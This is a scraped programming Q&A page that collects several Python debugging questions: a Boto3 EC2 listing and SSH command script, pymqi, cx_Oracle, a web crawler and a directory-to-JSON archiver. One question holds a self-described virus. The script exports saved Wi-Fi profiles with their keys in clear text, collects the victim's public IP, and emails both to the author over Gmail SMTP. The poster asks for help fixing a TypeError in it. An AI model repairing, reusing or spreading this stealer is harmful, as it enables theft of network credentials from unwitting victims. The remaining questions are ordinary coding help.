Python traceback and attribute errors for AWS and Boto3 - python-3.x

Working on getting this script running on Python 3 from earlier version 2 and still getting some traceback and Attribute errors. Below is the error and below that the script in its current state: Special thanks for #Madlania Kalunder for sorting the printing issues. Now I know things are close but need some help.
Traceback (most recent call last):
File "ec2-instances.py", line 97, in <module> sys.exit(main())
File "ec2-instances.py", line 78, in main hosts=(list_instances)(filter)
File "ec2-instances.py", line 18, in list_instances
name = (item for item in i.tags if item ["Key"] == "Name" ).next()
AttributeError: 'generator' object has no attribute 'next'
Below is the code. Sorry for formatting issues here and thanks in advance for the help.
#!/usr/bin/env python
import boto3
import sys
import argparse
import paramiko
def list_instances(Filter):
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=Filter)
(columns_format) = ("%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s")
print ((columns_format) % ("num", "Name", "Public IP", "Private IP", "ID", "Type", "VPC", "Status"))
num = 1
hosts = []
name = {}
for i in instances:
try:
name = (item for item in i.tags if item ["Key"] == "Name" ).next()
except StopIteration:
name['Value'] = ''
print (columns_format) % (
num,
name['Value'],
i.public_ip_address,
i.private_ip_address,
i.id,
i.instance_type,
i.vpc_id,
i.state['Name']
)
num = num + 1
item={'id': i.id, 'ip': i.public_ip_address, 'hostname': name ['Value'], 'status': i.state['Name'],}
hosts.append(item)
return hosts
def execute_cmd(host,user,cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=user)
stdin, stdout, stderr = ssh.exec_command(cmd)
stdout=stdout.read()
stderr=stderr.read()
ssh.close()
return stdout,stderr
except paramiko.AuthenticationException as exception:
return "Authentication Error trying to connect into the host %s with the user %s. Plese review your keys" % (host, user), e
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--name',
help="Filter result by name.")
parser.add_argument('-t', '--type',
help="Filer result by type.")
parser.add_argument('-s', '--status',
help="Filter result by status." )
parser.add_argument('-e', '--execute',
help="Execute a command on instances")
parser.add_argument('-u', '--user', default="ubuntu",
help="User to run commands if -e option is used.\
Ubuntu user is used by default")
arg = parser.parse_args()
# Default filter if no options are specified
filter=[]
if arg.name:
filter.append({'Name': 'tag-value', 'Values': ["*" + arg.name + "*"]})
if arg.type:
filter.append({'Name': 'instance-type', 'Values': ["*" + arg.type + "*"]})
if arg.status:
filter.append({'Name': 'instance-state-name', 'Values': ["*" + arg.status + "*"]})
hosts=list_instances(filter)
names = ""
if arg.execute:
for item in hosts:
names = names + " " + item["hostname"] + "(" + item["id"] + ")"
print ("\nCommand to execute: %s") % arg.execute
print ("Executed by: %s") % arg.user
print ("Hosts list: %s\n") % names
for item in hosts:
if item["status"] == 'running':
print ("::: %s (%s)") % (item["hostname"], item["id"])
stdout,stderr = execute_cmd(item["ip"], arg.user, arg.execute)
print (stdout)
print (stderr)
else:
print ("::: %s (%s) is not running (command execution skiped)") % (item["hostname"], item["id"])
if __name__ == '__main__':
sys.exit(main())

Got some help from a colleague and here is the now correct/working version. More print issues needed fixing with () to include the % and removing the specific exception rule. Also corrected the .next to include the generator.
#!/usr/bin/env python
import boto3
import sys
import argparse
import paramiko
def list_instances(Filter):
ec2 = boto3.resource('ec2')
instances = ec2.instances.filter(Filters=Filter)
(columns_format) = ("%-3s %-26s %-16s %-16s %-20s %-12s %-12s %-16s")
print ((columns_format) % ("num", "Name", "Public IP", "Private IP", "ID", "Type", "VPC", "Status"))
num = 1
hosts = []
name = {}
for i in instances:
try:
name = next(item for item in i.tags if item["Key"] == "Name")
except:
name['Value'] = ''
print ((columns_format) % (
num,
name['Value'],
i.public_ip_address,
i.private_ip_address,
i.id,
i.instance_type,
i.vpc_id,
i.state['Name']
))
num = num + 1
item={'id': i.id, 'ip': i.public_ip_address, 'hostname': name ['Value'], 'status': i.state['Name'],}
hosts.append(item)
return hosts
def execute_cmd(host,user,cmd):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host, username=user)
stdin, stdout, stderr = ssh.exec_command(cmd)
stdout=stdout.read()
stderr=stderr.read()
ssh.close()
return stdout,stderr
except paramiko.AuthenticationException as exception:
return "Authentication Error trying to connect into the host %s with the user %s. Plese review your keys" % (host, user), e
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-n', '--name',
help="Filter result by name.")
parser.add_argument('-t', '--type',
help="Filer result by type.")
parser.add_argument('-s', '--status',
help="Filter result by status." )
parser.add_argument('-e', '--execute',
help="Execute a command on instances")
parser.add_argument('-u', '--user', default="ubuntu",
help="User to run commands if -e option is used.\
Ubuntu user is used by default")
arg = parser.parse_args()
# Default filter if no options are specified
filter=[]
if arg.name:
filter.append({'Name': 'tag-value', 'Values': ["*" + arg.name + "*"]})
if arg.type:
filter.append({'Name': 'instance-type', 'Values': ["*" + arg.type + "*"]})
if arg.status:
filter.append({'Name': 'instance-state-name', 'Values': ["*" + arg.status + "*"]})
hosts=list_instances(filter)
names = ""
if arg.execute:
for item in hosts:
names = names + " " + item["hostname"] + "(" + item["id"] + ")"
print (("\nCommand to execute: %s") % arg.execute)
print (("Executed by: %s") % arg.user)
print (("Hosts list: %s\n") % names)
for item in hosts:
if item["status"] == 'running':
print (("::: %s (%s)") % (item["hostname"], item["id"]))
stdout,stderr = execute_cmd(item["ip"], arg.user, arg.execute)
print (stdout)
print (stderr)
else:
print (("::: %s (%s) is not running (command execution skiped)") % (item["hostname"], item["id"]))
if __name__ == '__main__':
sys.exit(main())

Related

How to fix error after creating exe with Pyinsaller?

After creating the file exe, the following error is displayed.
This problem may be related to the TCP/IP protocol.
I don't quite understand what the mistake is.
Traceback (most recent call last):
File "list_queue.py", line 56, in <module>
File "list_queue.py", line 17, in lenth_queue
File "pymqi\__init__.py", line 3024, in connect
File "pymqi\__init__.py", line 1649, in connect_tcp_client
File "pymqi\__init__.py", line 1624, in connect_with_options
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2012: FAILED: MQRC_ENVIRONMENT_ERROR
Although everything works in PyCharm, all the data I enter works and the script works fine.
MyCode:
def lenth_queue():
dict_queue = collections.defaultdict(dict)
queue_manager = input('Enter the name of the queue manager: ')
channel = input('Enter the name of the communication channel: ')
host = input('Enter a name for the IP address of the queue manager: ')
port = input('Enter the name of the queue manager port: ')
conn_info = '%s(%s)' % (host, port)
queue_type = pymqi.CMQC.MQQT_LOCAL
qmgr = pymqi.connect(queue_manager, channel, conn_info)
c = 0
try:
prefix = '*'
pcf = pymqi.PCFExecute(qmgr,response_wait_interval=600000)
attrs = [] # typeList[pymqi.MQOpts]
attrs.append(pymqi.CFST(Parameter=pymqi.CMQC.MQCA_Q_NAME,
String=pymqi.ensure_bytes(prefix)))
attrs.append(pymqi.CFIN(Parameter=pymqi.CMQC.MQIA_Q_TYPE,
Value=queue_type))
attrs.append(pymqi.CFIL(Parameter=pymqi.CMQCFC.MQIACF_Q_ATTRS,
Values=[pymqi.CMQC.MQIA_CURRENT_Q_DEPTH]))
object_filters = []
object_filters.append(
pymqi.CFIF(Parameter=pymqi.CMQC.MQIA_CURRENT_Q_DEPTH,
Operator=pymqi.CMQCFC.MQCFOP_GREATER,
FilterValue=0))
response = pcf.MQCMD_INQUIRE_Q(attrs, object_filters)
for queue_info in response:
queue_name = queue_info[pymqi.CMQC.MQCA_Q_NAME]
queue_depth = queue_info[pymqi.CMQC.MQIA_CURRENT_Q_DEPTH]
dict_queue[queue_name.strip().decode()] = queue_depth
c += 1
writer_queue('Queue_lenth',dict_queue)
return 'File written successfully'
except pymqi.MQMIError as e:
return 'Failed to connect'
def writer_queue(name,dict_q):
txt = io.open(name + ".txt", "w", encoding="utf-8")
for key in dict_q:
txt.write('{}: {} message(s)'.format(key, dict_q[key]) + '\n')
txt.close()
print(lenth_queue())
input('Press ENTER to exit')

TypeError: 'NoneType' object is not iterable (Python3 with Oracle 19c)

Python 3.6.3 /
Oracle 19c
The following script runs fine till it hits upc_id, = cur.fetchone(). Could someone explain, please what may cause it? If I run the query in database, I get the result back (see below). Is there a way to see exactly what Oracle runs, after variable substitution? I suspect single quotes are not in place for bind variables, but how can I confirm?
import datetime
import cx_Oracle
import db
line_item_sku = 'Y35FLPQ_034Y_M'
x = line_item_sku.split("_")
print (x)
print ("Split-list len: "+ str(len(x)))
if len(x) == 3:
sku_with_dimension = False
elif len(x) == 4:
sku_with_dimension = True
print ("SKU with dimension: " + str(sku_with_dimension))
style_id = x[0]
color_id = x[1]
size_id = x[2]
if sku_with_dimension:
dimension_id = x[3]
print ("Style: "+style_id)
print ("Color: "+color_id)
print ("Size: "+size_id)
conn = db.connect('Galo')
print ("Connected to: " + conn.version)
cur = conn.cursor()
upc_id = cur.var(str)
print ("Assigned return value")
if sku_with_dimension:
sql = ("""
select upc_id
from sku
where business_unit_id = '81'
and style_id = :1
and color_id = :2
and identifier_id = 'EA'
and size_id = :3
and dimension_id = :4
""")
cur.execute(sql,(style_id, color_id, size_id, dimension_id))
else:
sql = ("""
select upc_id
from sku
where business_unit_id = '81'
and style_id = :1
and color_id = :2
and identifier_id = 'EA'
and size_id = :3
""")
cur.execute(sql,(style_id, color_id, size_id))
print ("Determined which query to run")
upc_id, = cur.fetchone()
print (upc_id)
db.disconnect(conn, cur)
Here is the output
'Y35FLPQ', '034Y', 'M']
Split-list len: 3
SKU with dimension: False
Style: Y35FLPQ
Color: 034Y
Size: M
Connected to: 19.0.0.0.0
Assigned return value
Determined which query to run
Traceback (most recent call last):
File "c:/Python/code/test.py", line 66, in <module>
upc_id, = cur.fetchone()
TypeError: 'NoneType' object is not iterable
If I run the query in database, I receive a result back:

TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found in PYTHON 3.8.1

IM SPANISH SO SOME PARTS OF THE CODE (specially names and other things)
python gives me this error
i wanna help cuz im new in python and fixing errors its not my special hability (sorry for my english im spanish)
Traceback (most recent call last):
File "C:\Users\Ticua\Desktop\#test with ip.py", line 38, in <module>
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found
%%MYPASSWORD%% is the password of the mail that i dont wanna be discovered
my code :
import subprocess
requests = 'requests'
subprocess.call(['pip', 'install', requests])
from requests import get
import smtplib
ip = str(get('https://api.ipify.org').text)
y = 'C:'
reques = input("pon el nombre de tu red : ")
x = str(subprocess.call(['netsh', 'wlan', 'export', 'profile', 'key=clear', 'folder=C:']))
f = open('C:' + '/Conexión de red inalámbrica-' + reques + '.xml', 'r')
TO = 'ticua07#gmail.com'
SUBJECT = 'victima del virus'
TEXT = ip, f
# Gmail Sign In
gmail_sender = 'logonuihacks#gmail.com'
gmail_passwd = '%%MYPASSWORD%%'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
f.close()
try:
server.sendmail(gmail_sender, [TO], BODY)
print ('email sent')
except:
print("fu***d up")

Python 3.x unsupported operand type in using encode decode

I am trying to build a generic crawler for my marketing project and keep track of where the information came from viz blogs, testimonials etc. I am using Python 3.5 and Spyder/pycharm as IDE and I keep getting the following error in using encode - decode. The input to my code is a list of company names and product features in an excel file. I also searched for possible solutions but the recommendations in the community are for typecasting, which I am not sure is the problem.
Kindly let me know if some more clarification is required from my side.
from __future__ import division, unicode_literals
import codecs
import re
import os
import xlrd
import requests
from urllib.request import urlopen
from time import sleep
from bs4 import BeautifulSoup
import openpyxl
from collections import Counter
page=0
b=0
n=0
w=0
p=0
o=0
workbook=xlrd.open_workbook("C:\Product.xlsx")
workbook1=xlrd.open_workbook("C:\linkslist.xlsx")
sheet_names = workbook.sheet_names()
sheet_names1 = workbook1.sheet_names()
wb= openpyxl.Workbook() #User Spreadsheet
ws = wb.active
ws.title = "User"
ws['A1'] = 'Feature'
ws['B1'] = 'Customer-Testimonials'
ws['C1'] = 'Case Study'
ws['D1'] = 'Blog'
ws['E1'] = 'Press'
ws['F1'] = 'Total posts'
ws1 = wb.create_sheet(title="Ml")
ws1['A1'] = 'Feature'
ws1['B1'] = 'Phrase'
ws1['C1'] = 'Address'
ws1['D1'] = 'Tag Count'
worksheet = workbook.sheet_by_name(sheet_names[0])
worksheet1 = workbook1.sheet_by_name(sheet_names[0])
for linknumber in range(0,25):
u = worksheet1.cell(linknumber,0).value
url='www.' + u.lower() + '.com'
print (url)
r=''
while r == '':
try:
print ("in loop")
r = requests.get("http://" +url)
except:
sleep(3)#if the code still gives that error then try increasing the sleep time to 5 maybe
print (r)
data = r.text
#print data
soup1 = BeautifulSoup(data, "html.parser")
#print soup1
num=3 #starting row number and keep the column same.
word = ''
word = worksheet.cell(num,3).value
while not word == 'end':
print (num)
#print word
tag_list=[]
phrase= []
counts=[]
address=[]
counts = Counter(tag_list)
for link in soup1.find_all('a'):
#print link
add = link.encode("ascii", "ignore")
print (add)
if not'Log In' in add:
#print link.get('href')
i=0
content = ''
for i in range(1,5):
if content=='':
try:
print (link.get('href'))
i+=1
req = urllib.request.Request(link.get('href'))
with urllib.request.urlopen(req) as response:
content = response.read()
except:
sleep(3)
#if the code still gives that error then try increasing the sleep time to 5 maybe
continue
soup = BeautifulSoup(content, "html.parser")
s=soup(text=re.compile(word))
if s:
print ("TRUE")
add = link.encode('ascii','ignore')
print (type(add))
if 'customer-testimonial' in add :
b+=1
elif 'case-study' in add :
n+=1
elif 'blog' in add :
w+=1
elif 'press' in add :
p+=1
else :
o+=1
#phrase_type=["Customer testimonials","news","ads","twitter","facebook","instagram"]
#print(os.path.join(root, name))
print (add)
for tag in s:
parent_html = tag.parent.name
print (parent_html)
tag_list.append(parent_html)
phrase.append(s)
address.append(add)
#print str(phrase)
counts = Counter(tag_list)
page +=1
else:
counts = Counter(tag_list)
no =num-1
print(counts)
print (word)
ws['A%d'%no] = word.encode('utf-8' , 'ignore')
ws1['A%d'%no] = word.encode('utf-8' , 'ignore')
print ("Number of pages is %d" %page)
print ("Number of Customer testimonials posts is %d" %b)
ws['B%d'%no] = b
print ("Number of Case Studies posts is %d" %n)
ws['C%d'%no] = n
print ("Number of blog posts is %d" %w)
ws['D%d'%no] = w
print ("Number of press posts is %d" %p)
ws['E%d'%no] = p
print ("Number of posts is %d" %page)
ws['F%d'%no] = page
ws1['B%d'%no] = phrase.encode('utf-8' , 'ignore')
ws1['C%d'%no] = address.encode('utf-8' , 'ignore')
ws1['D%d'%no] = counts.encode('utf-8' , 'ignore')
counts.clear()
num += 1
word = worksheet.cell(num,3).value
#print word
page=0
b=0
n=0
w=0
p=0
o=0
phrase=[]
address=[]
tag_list=[]
wb.save('%s.xlsx'%worksheet1.cell(linknumber,0).value)
I get the following output and error while running the code:
www.amobee.com
in loop
<Response [200]>
3
Traceback (most recent call last):
File "C:/project_web_parser.py", line 69, in <module>
add = link.encode("ascii", "ignore")
File "C:\ProgramData\Ana3\lib\site-packages\bs4\element.py", line 1094, in encode
u = self.decode(indent_level, encoding, formatter)
File "C:\ProgramData\Ana3\lib\site-packages\bs4\element.py", line 1159, in decode
indent_space = (' ' * (indent_level - 1))
TypeError: unsupported operand type(s) for -: 'str' and 'int'
Process finished with exit code 1
Traceback shows error in line 69 where you try to encode link. To fix it, just change that line to:
add = link.encode("ascii", errors="ignore")
Why does it happen?
Your link variable is type of bs4.element.Tag
>>>type(link)
<class 'bs4.element.Tag'>
.encode() method for tags takes more arguments then .encode() method for strings.
In source code of bs4 in file \bs4\element.py on line 1089 you can find definition of it:
def encode(self, encoding=DEFAULT_OUTPUT_ENCODING,
indent_level=None, formatter="minimal",
errors="xmlcharrefreplace"):
First argument is encoding, second is indent_level (int or None) and errors handling is forth.
Error
unsupported operand type(s) for -: 'str' and 'int'
means that you tried to subtract 'ignore' - 1.

Archive/pack a directory with contents as plain-text representation?

Under Linux / bash, how can I obtain a plain-text representation of a directory of its contents? (Note that by "plain-text" here I mean "UTF-8").
In other words, how could I "pack" or "archive" a directory (with contents - including binary files) as a plain text file - such that I could "unpack" it later, and obtain the same directory with its contents?
I was interested in this for a while, and I think I finally managed to cook up a script that works in both Python 2.7 and 3.4 -- however, I'd still like to know if there is something else that does the same. Here it is as a Gist (with some more comments):
https://gist.github.com/anonymous/1a68bf2c9134fd5312219c8f68713632
Otherwise, I'm posting a slightly abridged version here (below) for reference.
The usage is: to archive/pack into a .json text file:
python archdir2text-json.py -a /tmp > myarchdir.json
... and to unpack from the .json text file into the current (calling) directory:
python archdir2text-json.py -u myarchdir.json
Binary files are handled as base64.
Here is the script:
archdir2text-json.py
#!/usr/bin/env python
import pprint, inspect
import argparse
import os
import stat
import errno
import base64
import codecs
class SmartDescriptionFormatter(argparse.RawDescriptionHelpFormatter):
def _fill_text(self, text, width, indent):
if text.startswith('R|'):
paragraphs = text[2:].splitlines()
rebroken = [argparse._textwrap.wrap(tpar, width) for tpar in paragraphs]
rebrokenstr = []
for tlinearr in rebroken:
if (len(tlinearr) == 0):
rebrokenstr.append("")
else:
for tlinepiece in tlinearr:
rebrokenstr.append(tlinepiece)
return '\n'.join(rebrokenstr)
return argparse.RawDescriptionHelpFormatter._fill_text(self, text, width, indent)
textchars = bytearray({7,8,9,10,12,13,27} | set(range(0x20, 0x100)) - {0x7f})
is_binary_string = lambda bytes: bool(bytes.translate(None, textchars))
cwd = os.getcwd()
if os.name == 'nt':
import win32api, win32con
def folder_is_hidden(p):
if os.name== 'nt':
attribute = win32api.GetFileAttributes(p)
return attribute & (win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM)
else:
return os.path.basename(p).startswith('.') #linux-osx
def path_hierarchy(path):
hierarchy = {
'type': 'folder',
'name': os.path.basename(path),
'path': path,
}
try:
cleared_contents = [contents
for contents in os.listdir(path)
if not(
os.path.isdir(os.path.join(path, contents))
and
folder_is_hidden(os.path.join(path, contents))
)]
hierarchy['children'] = [
path_hierarchy(os.path.join(path, contents))
for contents in cleared_contents
]
except OSError as e:
if e.errno == errno.ENOTDIR:
hierarchy['type'] = 'file'
else:
hierarchy['type'] += " " + str(e)
if hierarchy['type'] == 'file':
isfifo = stat.S_ISFIFO(os.stat(hierarchy['path']).st_mode)
if isfifo:
ftype = "fifo"
else:
try:
data = open(hierarchy['path'], 'rb').read()
ftype = "bin" if is_binary_string(data) else "txt"
if (ftype == "txt"):
hierarchy['content'] = data.decode("utf-8")
else:
hierarchy['content'] = base64.b64encode(data).decode("utf-8")
except Exception as e:
ftype = str(e)
hierarchy['ftype'] = ftype
return hierarchy
def recurse_unpack(inobj, relpath=""):
if (inobj['type'] == "folder"):
rpname = relpath + inobj['name']
sys.stderr.write("folder name: " + rpname + os.linesep);
os.mkdir(rpname)
for tchild in inobj['children']:
recurse_unpack(tchild, relpath=relpath+inobj['name']+os.sep)
elif (inobj['type'] == "file"):
rfname = relpath + inobj['name']
sys.stderr.write("file name: " + rfname + os.linesep)
if inobj['ftype'] == "txt":
with codecs.open(rfname, "w", "utf-8") as text_file:
text_file.write(inobj['content'])
elif inobj['ftype'] == "bin":
with open(rfname, "wb") as bin_file:
bin_file.write(base64.b64decode(inobj['content']))
if __name__ == '__main__':
import json
import sys
parser = argparse.ArgumentParser(formatter_class=SmartDescriptionFormatter, description="""R|Command-line App that packs/archives (and vice-versa) a directory to a plain-text .json file; should work w/ both Python 2.7 and 3.4
see full help text in https://gist.github.com/anonymous/1a68bf2c9134fd5312219c8f68713632""")
parser.add_argument('input_paths', type=str, nargs='*', default=['.'],
help='Paths to files/directories to include in the archive; or path to .json archive file')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-a', '--archive', action='store_true', help="Interpret input_paths as paths to files/directories, and archive them to a .json file (output to stdout)")
group.add_argument('-u', '--unpack', action='store_true', help="Interpret input_paths as path to an archive .json file, and unpack it in the current directory")
args = parser.parse_args()
if (args.archive):
valid_input_paths = []
for p in args.input_paths:
if os.path.isdir(p) or os.path.exists(p):
valid_input_paths.append(p)
else:
sys.stderr.write("Ignoring invalid input path: " + p + os.linesep)
sys.stderr.write("Encoding input path(s): " + str(valid_input_paths) + os.linesep)
path_hier_arr = [path_hierarchy(vp) for vp in valid_input_paths]
outjson = json.dumps(path_hier_arr, indent=2, sort_keys=True, separators=(',', ': '))
print(outjson)
elif (args.unpack):
valid_input_paths = []
for p in args.input_paths:
if os.path.isdir(p) or os.path.exists(p):
valid_input_paths.append(p)
else:
sys.stderr.write("Ignoring invalid input path: " + p + os.linesep)
for vp in valid_input_paths:
with open(vp) as data_file:
data = json.load(data_file)
for datachunk in data:
recurse_unpack(datachunk)

Resources